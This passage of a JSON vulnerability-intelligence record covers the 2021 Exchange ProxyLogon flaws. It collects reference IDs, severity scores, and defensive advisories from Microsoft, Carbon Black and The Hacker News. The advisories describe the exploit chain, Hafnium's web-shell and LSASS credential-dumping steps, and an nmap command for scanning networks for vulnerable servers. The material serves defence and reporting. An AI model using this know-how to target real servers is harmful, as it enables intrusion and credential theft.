"9C3150AA-6C0C-5DC4-BEAD-C807FA5ACE12", "9E82678F-0559-56B2-94DC-6505FE64555C", "B042A63E-E661-5B8E-9AA1-F0DEE4C18402", "B20A08C3-E06C-57C9-998A-C38174AEA7DC", "B5E7199E-37EE-5CBA-A8B7-83061DD63E3D", "BBEEB41B-D67F-54B6-BA27-1956F83AAAC5", "C467EA51-59B6-5BEB-A634-62EFC2DC4419", "C87EF7D4-0E85-54CD-9D5A-381C451E5511", "D6AC5402-E5BA-5A55-B218-5D280FA9EA0D", "D7D65B87-E44D-559F-B05B-6AED7C8659D5", "D7D704DD-277E-5739-BD5E-3782370FCCB3", "DC044D23-6D59-5326-AB78-94633F024A74", "DFB437A9-A514-588D-8B48-A6C7C75EAD32", "F3D43FE5-47AE-591C-A2DD-8F92BC12D9A8", "F5339382-9321-5B96-934D-B803353CC9E3"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "hackerone", "idList": ["H1:1119224", "H1:1119228", "H1:591295", "H1:671749", "H1:678496", "H1:680480", "H1:695005"]}, {"type": "hivepro", "idList": ["HIVEPRO:0E3B824DCD3B82D06D8078A118E98B54", "HIVEPRO:92FF0246065B21E79C7D8C800F2DED76", "HIVEPRO:E7F36EC1E4DCF018F94ECD22747B7093"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:7B28F00C5CD12AC5314EB23EAE40413B", "IMPERVABLOG:A30E92D9B177CCFF9F5476DD34E25F51"]}, {"type": "kaspersky", "idList": ["KLA12103"]}, {"type": "kitploit", "idList": ["KITPLOIT:4421457840699592233", "KITPLOIT:4707889613618662864"]}, {"type": "krebs", "idList": ["KREBS:65D25A653F7348C7F18FFD951447B275"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:5B32671B820EEB03840B798BCEA9FDC8", "MALWAREBYTES:60B52235DCBD12E98C7DB46F859F885C", "MALWAREBYTES:6ECB9DE9A2D8D714DB50F19BAF7BF3D4", "MALWAREBYTES:7C9E5CAE3DDA4E673D38360AB2A5706B", "MALWAREBYTES:80B21E934B1C43C7071F039FE9512208", "MALWAREBYTES:B4D157FAC0EB655355514D120382CC56", "MALWAREBYTES:B830332817B5D5BEE99EF296E8EC7E2A", "MALWAREBYTES:B8C767042833344389F6158273089954", "MALWAREBYTES:BAB94968DD1EC37DA6F977226977DAF5"]}, {"type": "metasploit", "idList": ["MSF:AUXILIARY-GATHER-EXCHANGE_PROXYLOGON_COLLECTOR-", "MSF:AUXILIARY-SCANNER-HTTP-EXCHANGE_PROXYLOGON-", "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYLOGON_RCE-"]}, {"type": "mmpc", "idList": ["MMPC:27EEFD67E5E7E712750B1472E15C5A0B", "MMPC:28641FE2F73292EB4B26994613CC882B", "MMPC:2FB5327A309898BD59A467446C9C36DC", "MMPC:4A6B394DCAF12E05136AE087248E228C", "MMPC:C0F4687B18D53FB9596AD4FDF77092D8", "MMPC:E537BA51663A720821A67D2A4F7F7F0E", "MMPC:FC03200E57A46D16A8CD1A5A0E647BB3"]}, {"type": "mscve", "idList": ["MS:CVE-2021-26412", "MS:CVE-2021-26854", "MS:CVE-2021-26855", "MS:CVE-2021-26857", "MS:CVE-2021-26858", "MS:CVE-2021-27065", "MS:CVE-2021-27078"]}, {"type": "mskb", "idList": ["KB5000871", "KB5000978"]}, {"type": "msrc", "idList": ["MSRC:ED939F90BDE8D7A32031A750388B03C9"]}, {"type": "mssecure", "idList": ["MSSECURE:27EEFD67E5E7E712750B1472E15C5A0B", "MSSECURE:28641FE2F73292EB4B26994613CC882B", "MSSECURE:2FB5327A309898BD59A467446C9C36DC", "MSSECURE:4A6B394DCAF12E05136AE087248E228C", "MSSECURE:C0F4687B18D53FB9596AD4FDF77092D8", "MSSECURE:E3C8B97294453D962741782EC959E79C", "MSSECURE:E537BA51663A720821A67D2A4F7F7F0E", "MSSECURE:FC03200E57A46D16A8CD1A5A0E647BB3"]}, {"type": "myhack58", "idList": ["MYHACK58:62201995674"]}, {"type": "nessus", "idList": ["EXCHANGE_CVE-2021-26855.NBIN", "HAFNIUM_IOC_DETECT.NBIN", "PULSE_CONNECT_SECURE-CVE-2019-11510.NASL", "PULSE_CONNECT_SECURE-SA-44101.NASL", "PULSE_CONNECT_SECURE_PATH_TRAVERSAL.NBIN", "SMB_NT_MS21_MAR_EXCHANGE_2010_OOB.NASL", "SMB_NT_MS21_MAR_EXCHANGE_OOB.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:154176", "PACKETSTORM:161806", "PACKETSTORM:161846", "PACKETSTORM:161938", "PACKETSTORM:162610", "PACKETSTORM:162736"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "QUALYSBLOG:282A52EA9B1F4C4F3F084197709217B0", "QUALYSBLOG:479A14480548534CBF2C80AFA3FFC840", "QUALYSBLOG:8DC9B53E981BBE193F6EC369D7FA85F8", "QUALYSBLOG:B0EFD469309D1127FA70F0A42934D5BC", "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "QUALYSBLOG:CAF5B766E6B0E6C1A5ADF56D442E7BB2", "QUALYSBLOG:CD2337322AF45A03293696D535E4CBF8", "QUALYSBLOG:DE1FEC2B9B661D42DAA0BA398DBFD24E"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "RAPID7BLOG:6A1F743B64899419F505BFE243BD179F", "RAPID7BLOG:6C0062981975551A3565CCAD248A1573", "RAPID7BLOG:88A83067D8D3C5AEBAF1B793818EEE53", "RAPID7BLOG:A567BCDA66AFFA88D0476719CB5D934D", "RAPID7BLOG:D435EE51E7D9443C43ADC937A046683C", "RAPID7BLOG:F216985E1720C28CCE9E1F41AD704502", "RAPID7BLOG:F4F1A7CFCF2440B1B23C1904402DDAF2"]}, {"type": "saint", "idList": ["SAINT:192E33BC51A49F81EC3C52F0E8A72432", "SAINT:2232AFF7B86AF6E40FEC6191FAD74DCC", "SAINT:8E748D4A2FD6DFA108D87FF09FFEF2AE"]}, {"type": "securelist", "idList": ["SECURELIST:20C7BC6E3C43CD3D939A2E3EAE01D4C1", "SECURELIST:322E7EEAE549CDB14513C2EDB141B8BA", "SECURELIST:35644FF079836082B5B728F8E95F0EDD", "SECURELIST:403B2D76CFDBDAB0862F6860A95E54B4", "SECURELIST:934E8AA177A27150B87EC15F920BF350", "SECURELIST:A823F31C04C74DD103337324E6D218C9"]}, {"type": "talosblog", "idList": ["TALOSBLOG:AC8ED8970F5692A325A10D93B7F0D965", "TALOSBLOG:D6DE736915C69A194D894AE9BED7EC57"]}, {"type": "thn", "idList": ["THN:0D80EEB03C07D557AA62E071C7A7C619", "THN:0E6CD47141AAF54903BD6C1F9BD96F44", "THN:1ED1BB1B7B192353E154FB0B02F314F4", "THN:3266EB2F73FA4A955845C8FEBA4E73C5", "THN:3E9680853FA3A677106A8ED8B7AACBE6", "THN:461B7AEC7D12A32B4ED085F0EA213502", "THN:46994B7A671ED65AD9975F25F514C6E3", "THN:814DFC4A310E0C39823F3110B0457F8C", "THN:91A2A296EF8B6FD5CD8B904690E810E8", "THN:97FD375C23B4E7C3F13B9F3907873671", "THN:9994A9D5CFB76851BB74C8AD52F3DBBE", "THN:9AB21B61AFE09D4EEF533179D0907C03", "THN:9DB02C3E080318D681A9B33C2EFA8B73", "THN:A73831555CB04403ED3302C1DDC239B1", "THN:ABF9BC598B143E7226083FE7D2952CAE", "THN:AE2E46F59043F97BE70DB77C163186E6", "THN:B95DC27A89565323F0F8E6350D24D801", "THN:BC8A83422D35DB5610358702FCB4D154", "THN:E9454DED855ABE5718E4612A2A750A98", "THN:F2A3695D04A2484E069AC407E754A9C1", "THN:FA40708E1565483D14F9A31FC019FCE1"]}, {"type": "threatpost", "idList": ["THREATPOST:056C552B840B2C102A6A75A2087CA8A5", "THREATPOST:1084DB580B431A6B8428C25B78E05C88", "THREATPOST:18C67680771D8DB6E95B3E3C7854114F", "THREATPOST:18D24326B561A78A05ACB7E8EE54F396", "THREATPOST:1B1BF3F545C6375A88CD201E2A55DF23", "THREATPOST:1FB73160B6AAB2B0406816BB6A61E4CB", "THREATPOST:2018FCCB3FFD46BACD36ADBC6C9013CE", "THREATPOST:247CA39D4B32438A13F266F3A1DED10E", "THREATPOST:2BD1A92D071EE3E52CB5EA7DD865F60A", "THREATPOST:2E607CF584AE6639AC690F7F0CE8C648", "THREATPOST:2FE0A6568321CDCF2823C6FA18106381", "THREATPOST:34CC110D7F26B1B4D3B97BE05F000B69", "THREATPOST:3E47C166057EC7923F0BBBE4019F6C75", "THREATPOST:54430D004FBAE464FB7480BC724DBCC8", "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "THREATPOST:71C45E867DCD99278A38088B59938B48", "THREATPOST:736F24485446EFF3B3797B31CE9DAF1D", "THREATPOST:7E76268AD6AABF30EEE441619FF98ABF", "THREATPOST:836083DB3E61D979644AE68257229776", "THREATPOST:8C45AF2306CB954ACB231C2C0C5EDA9E", "THREATPOST:8D6D4C10987CBF3434080EFF240D2E74", "THREATPOST:9AF5E0BBCEF3F8F871ED50F3A8A604A9", "THREATPOST:A4C1190B664DAE144A62459611AC5F4A", "THREATPOST:AD4EF56E5440159F6E37D8B403C253D7", "THREATPOST:B787E57D67AB2F76B899BCC525FF6870", "THREATPOST:BADA213290027D414693E838771F8645", "THREATPOST:C23B7DE85B27B6A8707D0016592B87A3", "THREATPOST:C535D98924152E648A3633199DAC0F1E", "THREATPOST:CAA77BB0CF0093962ECDD09004546CA3", "THREATPOST:DC270F423257A4E0C44191BE365F25CB", "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452"]}, {"type": "wallarmlab", "idList": ["WALLARMLAB:1493380EEC54B493CC22B4FA116139BB", "WALLARMLAB:C5940EBF622709A929825B8B12592EF5"]}, {"type": "zdt", "idList": ["1337DAY-ID-33140", "1337DAY-ID-35944", "1337DAY-ID-36024", "1337DAY-ID-36262", "1337DAY-ID-36281"]}]}, "score": {"value": 0.9, "vector": "NONE"}, "backreferences": {"references": [{"type": "akamaiblog", "idList": ["AKAMAIBLOG:09A31B56FFEA13FBA5985C1B2E66133B", "AKAMAIBLOG:30D20162B95C09229EEF2C09C5D98FCA", "AKAMAIBLOG:BB43372E19E8CF90A965E98130D0C070"]}, {"type": "attackerkb", "idList": ["AKB:0C69B33C-2322-4075-BE16-A92593B75107", "AKB:1BA7DC74-F17D-4C34-9A6C-2F6B39787AA2", "AKB:236680FB-F804-4F5D-B51D-4B50C9F69BBD", "AKB:5D17BB38-86BB-4514-BF1D-39EB48FBE4F1", "AKB:8E9F0DC4-BC72-4340-B70E-5680CA968D2B", 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"percentile": "0.918940000", "modified": "2023-03-17"}, {"cve": "CVE-2021-26858", "epss": "0.106070000", "percentile": "0.940930000", "modified": "2023-03-17"}, {"cve": "CVE-2021-27065", "epss": "0.943940000", "percentile": "0.986930000", "modified": "2023-03-17"}], "vulnersScore": 0.9}, "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1659988328, "score": 1659970229, "epss": 1679073339}, "_internal": {"score_hash": "903ab5c617db5d986c5bd1b6fcb531d4"}}
{"msrc": [{"lastseen": "2023-03-14T17:06:18", "description": "This guidance will help customers address threats taking advantage of the recently disclosed Microsoft Exchange Server on-premises vulnerabilities CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, and CVE-2021-27065, which are being exploited. We strongly urge customers to immediately update systems. Failing to address these vulnerabilities can result in compromise of your on-premises Exchange Server and, potentially, other parts of your internal network.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-16T07:00:00", "type": "msrc", "title": "Guidance for responders: Investigating and remediating on-premises Exchange Server vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-16T07:00:00", "id": "MSRC:9DA5AC102EA6224E027868594A8ED7B8", "href": "/blog/2021/03/guidance-for-responders-investigating-and-remediating-on-premises-exchange-server-vulnerabilities/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-16T18:53:05", "description": "This guidance will help customers address threats taking advantage of the recently disclosed Microsoft Exchange Server on-premises vulnerabilities CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, and CVE-2021-27065. Microsoft will continue to monitor these threats and provide updated tools and investigation guidance to help organizations defend against, identify, and remediate associated attacks.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-16T18:44:28", "type": "msrc", "title": "Guidance for responders: Investigating and remediating on-premises Exchange Server vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-16T18:44:28", "id": "MSRC:ED939F90BDE8D7A32031A750388B03C9", "href": "https://msrc-blog.microsoft.com/2021/03/16/guidance-for-responders-investigating-and-remediating-on-premises-exchange-server-vulnerabilities/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "carbonblack": [{"lastseen": "2021-03-10T12:27:08", "description": "_The following advisory from VMware Threat Analysis Unit (TAU) is to provide guidance, best practices and capabilities to identify risk, prevent, detect and respond to this emerging threat._\n\n#### Summary\n\nOn March 2, 2021 Microsoft [announced](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) four zero-day vulnerabilities (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065) directly targeting Microsoft Exchange servers hosted locally.\n\nThese four zero-day vulnerabilities are chained together to gain access to Microsoft Exchange servers as an entry point to exfiltrate data and persist for malicious gain. In order for the attack to work the threat actor would need to access an on-premises Microsoft Exchange server via port 443. Once accessed, the threat actors will then utilize the above vulnerabilities to gain remote access.\n\nIt is best practice if you have Microsoft Exchange Server 2013, 2016, and/or Microsoft Exchange Server 2019 hosted locally to apply the updates provided by Microsoft immediately to protect against these exploits, with an emphasis on prioritizing externally facing Exchange servers.\n\n#### Threat Actor Attribution\n\nMicrosoft identified Hafnium, a state-sponsored threat actor that operates from China, as the group responsible for the recent attacks. Hafnium has also been reported to be responsible for other attacks on internet-facing servers and typically exfiltrate data to file sharing sites. After gaining access to a vulnerable workload, Hafnium will install a web shell that allows them to steal data, upload files, and execute almost any command. Hafnium will then perform a memory dump of an LSASS.exe executable to harvest cached credentials using this web shell. This will enable them export mailboxes and stolen data from the workload and upload it to file-sharing services, where they could later retrieve it.\n\n#### Detections and Recommended Response Actions\n\nThe Microsoft Exchange Server team has created a script to run a check for Hafnium IOCs to address performance and memory concerns. That script is available [here](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>).\n\nMicrosoft Senior Threat Intelligence Analyst [Kevin Beaumont](<https://twitter.com/GossiTheDog/status/1366858907671552005>) has created a [Nmap script](<https://github.com/GossiTheDog/scanning/blob/main/http-vuln-exchange.nse>) that can be used to scan a network for potentially vulnerable Microsoft Exchange servers.\n\nTo use the script, download it from his GitHub page and store it in /usr/share/nmap/scripts and then use the nmap -script http-vuln-exchange command.\n\nNmap script showing potentially vulnerable Microsoft Exchange server.\n\nOnce you have determined what Exchange servers need to be updated, you need to make sure your servers have a currently supported Cumulative Update (CU) and Update Rollup (RU) installed.\n\nAdministrators can find more information on the supported updates and how to install the patches in an [article from the Microsoft Exchange Team](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>) published today.\n\n#### VMware Carbon Black Cloud Endpoint And Workload Protection Best Practices\n\n**Patch** \nPrioritize installing the recommended patches in your Microsoft Exchange environment as these vulnerabilities enable unauthenticated remote code execution and file-writes. If you are leveraging VMware Carbon Black Workload, you can quickly identify what assets have these critical exploitable CVE\u2019s within in your vCenter or within the VMware Carbon Black Cloud platform. In the platform, risk is prioritized based on how exploitable each CVE is.\n\n\n\n\n\n**Network** \nOur TAU also recommends implementing egress network ACLs for all externally facing web services in your environment.\n\n**Windows Operating Systems** \nVMware Carbon Black customers running the 3.6 sensor versions are protected out of the box without any need to configure rules relating to the post-compromise credential theft techniques disclosed. The latest versions of the VMware Carbon Black Cloud sensors will also detect and block suspect PowerShell usage typically associated with post-compromise behaviors using the AMSI detection capabilities.\n\nVMware Carbon Black Cloud customers utilizing NGAV and EDR detection analytics will generically identify and alert on behaviors associated with Web Shell activity, Reverse Shells, and unusual command interpreter behaviors.\n\n\n\nVMware TAU also recommends customers to enable the following Anti-Malware engine settings within the VMware Carbon Black Cloud console to ensure the best possible protection:\n\n * Delay executes for cloud scan\n * Submit unknown binaries for analysis\n\n_In order to take full advantage of the most up-to-date threat intelligence detection and prevention rules, customers must be running 3.6 or greater VMware Carbon Black Cloud sensor versions and running NGAV._\n\nThe post [TAU Threat Advisory: Microsoft Exchange Servers Targeted with Four Zero-day Exploits](<https://www.carbonblack.com/blog/tau-threat-advisory-microsoft-exchange-servers-targeted-with-four-zero-day-exploits/>) appeared first on [VMware Carbon Black](<https://www.carbonblack.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-08T21:05:13", "type": "carbonblack", "title": "TAU Threat Advisory: Microsoft Exchange Servers Targeted with Four Zero-day Exploits", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-08T21:05:13", "id": "CARBONBLACK:C9B38F7962606C41AA16ECBD4E48D712", "href": "https://www.carbonblack.com/blog/tau-threat-advisory-microsoft-exchange-servers-targeted-with-four-zero-day-exploits/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-LOLhcDcH4Q0/YEX4fZpKfUI/AAAAAAAAB9w/I0oQNqeVV2YmhlyC8lyvV-LztA9giv0vACLcBGAsYHQ/s0/microsoft-exchange-hacking.jpg>)\n\nMicrosoft on Friday warned of active attacks exploiting [unpatched Exchange Servers](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) carried out by multiple threat actors, as the hacking campaign is believed to have infected tens of thousands of businesses, government entities in the U.S., Asia, and Europe.\n\nThe company [said](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) \"it continues to see increased use of these vulnerabilities in attacks targeting unpatched systems by multiple malicious actors beyond HAFNIUM,\" signaling an escalation that the breaches are no longer \"limited and targeted\" as was previously deemed.\n\nAccording to independent cybersecurity journalist [Brian Krebs](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>), at least 30,000 entities across the U.S. \u2014 mainly small businesses, towns, cities, and local governments \u2014 have been compromised by an \"unusually aggressive\" Chinese group that has set its sights on stealing emails from victim organizations by exploiting previously undisclosed flaws in Exchange Server.\n\nVictims are also being reported from outside the U.S., with email systems belonging to businesses in [Norway](<https://nsm.no/aktuelt/oppdater-microsoft-exchange-snarest>), the [Czech Republic](<https://nukib.cz/cs/infoservis/hrozby/1692-vyjadreni-k-aktualni-situaci/>) and the [Netherlands](<https://www.ncsc.nl/actueel/nieuws/2021/maart/8/40-nl-microsoft-exchange-servers-nog-steeds-kwetsbaar>) impacted in a series of hacking incidents abusing the vulnerabilities. The Norwegian National Security Authority said it has implemented a vulnerability scan of IP addresses in the country to identify vulnerable Exchange servers and \"continuously notify these companies.\"\n\nThe colossal scale of the ongoing offensive against Microsoft's email servers also eclipses the [SolarWinds hacking spree](<https://thehackernews.com/2020/12/nearly-18000-solarwinds-customers.html>) that came to light last December, which is said to have targeted as many as 18,000 customers of the IT management tools provider. But as it was with the SolarWinds hack, the attackers are likely to have only gone after high-value targets based on an initial reconnaissance of the victim machines.\n\n### Unpatched Exchange Servers at Risk of Exploitation\n\nA successful [exploitation of the flaws](<https://unit42.paloaltonetworks.com/microsoft-exchange-server-vulnerabilities/>) allows the adversaries to break into Microsoft Exchange Servers in target environments and subsequently allow the installation of unauthorized web-based backdoors to facilitate long-term access. With multiple threat actors leveraging these zero-day vulnerabilities, the post-exploitation activities are expected to differ from one group to the other based on their motives.\n\nChief among the vulnerabilities is CVE-2021-26855, also called \"ProxyLogon\" (no connection to ZeroLogon), which permits an attacker to bypass the authentication of an on-premises Microsoft Exchange Server that's able to receive untrusted connections from an external source on port 443. This is followed by the exploitation of CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 post-authentication, allowing the malicious party to gain remote access.\n\nTaiwanese cybersecurity firm Devcore, which began an internal audit of Exchange Server security in October last year, [noted in a timeline](<https://proxylogon.com/>) that it discovered both CVE-2021-26855 and CVE-2021-27065 within a 10-day period between December 10-20, 2020. After chaining these bugs into a workable pre-authentication RCE exploit, the company said it reported the issue to Microsoft on January 5, 2021, suggesting that Microsoft had almost two months to release a fix.\n\n[](<https://thehackernews.com/images/-zR_JCeV5Moo/YEX5KX2rxLI/AAAAAAAAB94/XG6lQGCnfO0ZUBwgiwv9agIbi4TfP1csACLcBGAsYHQ/s0/microsoft-exchange-hacking.jpg>)\n\nThe four security issues in question were eventually [patched by Microsoft](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) as part of an emergency out-of-band security update last Tuesday, while warning that \"many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems.\"\n\nThe fact that Microsoft also patched Exchange Server 2010 suggests that the vulnerabilities have been lurking in the code for more than ten years.\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA), which released an [emergency directive](<https://thehackernews.com/2021/03/cisa-issues-emergency-directive-on-in.html>) warning of \"active exploitation\" of the vulnerabilities, urged government agencies running vulnerable versions of Exchange Server to either update the software or disconnect the products from their networks.\n\n\"CISA is aware of widespread domestic and international exploitation of Microsoft Exchange Server vulnerabilities and urges scanning Exchange Server logs with Microsoft's IoC detection tool to help determine compromise,\" the agency [tweeted](<https://twitter.com/USCERT_gov/status/1368216461571919877>) on March 6.\n\nIt's worth noting that merely installing the patches issued by Microsoft would have no effect on servers that have already been backdoored. Organizations that have been breached to deploy the web shell and other post-exploitation tools continue to remain at risk of future compromise until the artifacts are completely rooted out from their networks.\n\n### Multiple Clusters Spotted\n\nFireEye's Mandiant threat intelligence team [said](<https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html>) it \"observed multiple instances of abuse of Microsoft Exchange Server within at least one client environment\" since the start of the year. Cybersecurity firm Volexity, one of the firms credited with discovering the flaws, said the intrusion campaigns appeared to have started around January 6, 2021.\n\nNot much is known about the identities of the attackers, except that Microsoft has primarily attributed the exploits with high confidence to a group it calls Hafnium, a skilled government-backed group operating out of China. Mandiant is tracking the intrusion activity in three clusters, UNC2639, UNC2640, and UNC2643, adding it expects the number to increase as more attacks are detected.\n\nIn a statement to [Reuters](<https://www.reuters.com/article/us-usa-cyber-microsoft/more-than-20000-u-s-organizations-compromised-through-microsoft-flaw-source-idUSKBN2AX23U>), a Chinese government spokesman denied the country was behind the intrusions.\n\n\"There are at least five different clusters of activity that appear to be exploiting the vulnerabilities,\" [said](<https://twitter.com/redcanary/status/1368289931970322433>) Katie Nickels, director of threat intelligence at Red Canary, while noting the differences in the techniques and infrastructure from that of the Hafnium actor.\n\nIn one particular instance, the cybersecurity firm [observed](<https://twitter.com/redcanary/status/1367935292724948992>) that some of the customers compromised Exchange servers had been deployed with a crypto-mining software called [DLTminer](<https://www.carbonblack.com/blog/cb-tau-technical-analysis-dltminer-campaign-targeting-corporations-in-asia/>), a malware documented by Carbon Black in 2019.\n\n\"One possibility is that Hafnium adversaries shared or sold exploit code, resulting in other groups being able to exploit these vulnerabilities,\" Nickels said. \"Another is that adversaries could have reverse engineered the patches released by Microsoft to independently figure out how to exploit the vulnerabilities.\"\n\n### Microsoft Issues Mitigation Guidance\n\nAside from rolling out fixes, Microsoft has published new alternative mitigation guidance to help Exchange customers who need more time to patch their deployments, in addition to pushing out a new update for the Microsoft Safety Scanner (MSERT) tool to detect web shells and [releasing a script](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>) for checking HAFNIUM indicators of compromise. They can be found [here](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>).\n\n\"These vulnerabilities are significant and need to be taken seriously,\" Mat Gangwer, senior director of managed threat response at Sophos said. \"They allow attackers to remotely execute commands on these servers without the need for credentials, and any threat actor could potentially abuse them.\"\n\n\"The broad installation of Exchange and its exposure to the internet mean that many organizations running an on-premises Exchange server could be at risk,\" Gangwer added.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-08T10:15:00", "type": "thn", "title": "Microsoft Exchange Cyber Attack \u2014 What Do We Know So Far?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-10T08:44:19", "id": "THN:9DB02C3E080318D681A9B33C2EFA8B73", "href": "https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-AxSsNt-9gYo/YD838gSOOTI/AAAAAAAAB7Q/IuSgG26w0NU-eyKMabZMnUfb7QBDyHkUgCLcBGAsYHQ/s0/ms-exchnage.jpg>)\n\nMicrosoft has [released emergency 